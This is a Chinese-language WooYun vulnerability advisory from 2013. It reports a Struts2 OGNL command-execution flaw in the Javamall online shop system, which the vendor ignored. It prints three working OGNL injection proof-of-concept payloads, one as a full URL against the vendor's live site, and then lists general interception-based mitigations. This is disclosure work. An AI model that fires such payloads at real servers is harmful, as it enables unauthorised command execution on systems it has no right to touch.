漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-032892
漏洞标题:Javamall网店系统Struts2漏洞
相关厂商:Javamall网店
漏洞作者: 园长
提交时间:2013-07-31 07:49
修复时间:2013-10-29 07:49
公开时间:2013-10-29 07:49
漏洞类型:命令执行
危害等级:中
自评Rank:8
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-07-31: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-10-29: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
本来打算看下源码,结果看到WEB-INF下的lib包有Struts2都懒得瞧了,提S2虽然很无趣...
详细说明:
官网和客户的网站都能执行。
POC1:
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(%22[/ok]%22)')(d))&(i99)(('\43xman.getWriter().close()')(d))
POC4:
http://www.javamall.com.cn/core/adv!click.do?advid=11&class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22[/ok]%22),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]
POC7:
http://www.javamall.com.cn/core/adv!click.do?advid=11&redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}
命令执行:
客户的网站:
漏洞证明:
修复方案:
Struts2:
关于修补仅提供思路,具体的方法和补丁不提供了。Struts2默认后缀是action或者不写后缀,有的改过代码的可能其他后缀如.htm、.do,那么我们只要拦截这些请求进行过滤就行了。
1、 从CDN层可以拦截所有Struts2的请求过滤OGNL执行代码
2、 从Server层在请求Struts2之前拦截其Ognl执行。
3、 在项目层面可以在struts2的filter加一层拦截
4、 在Struts2可以用拦截器拦截
5、 在Ognl源码包可以拦截恶意的Ognl请求
6、 实在没办法就打补丁
7、 终极解决办法可以考虑使用其他MVC框架
版权声明:转载请注明来源 园长@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝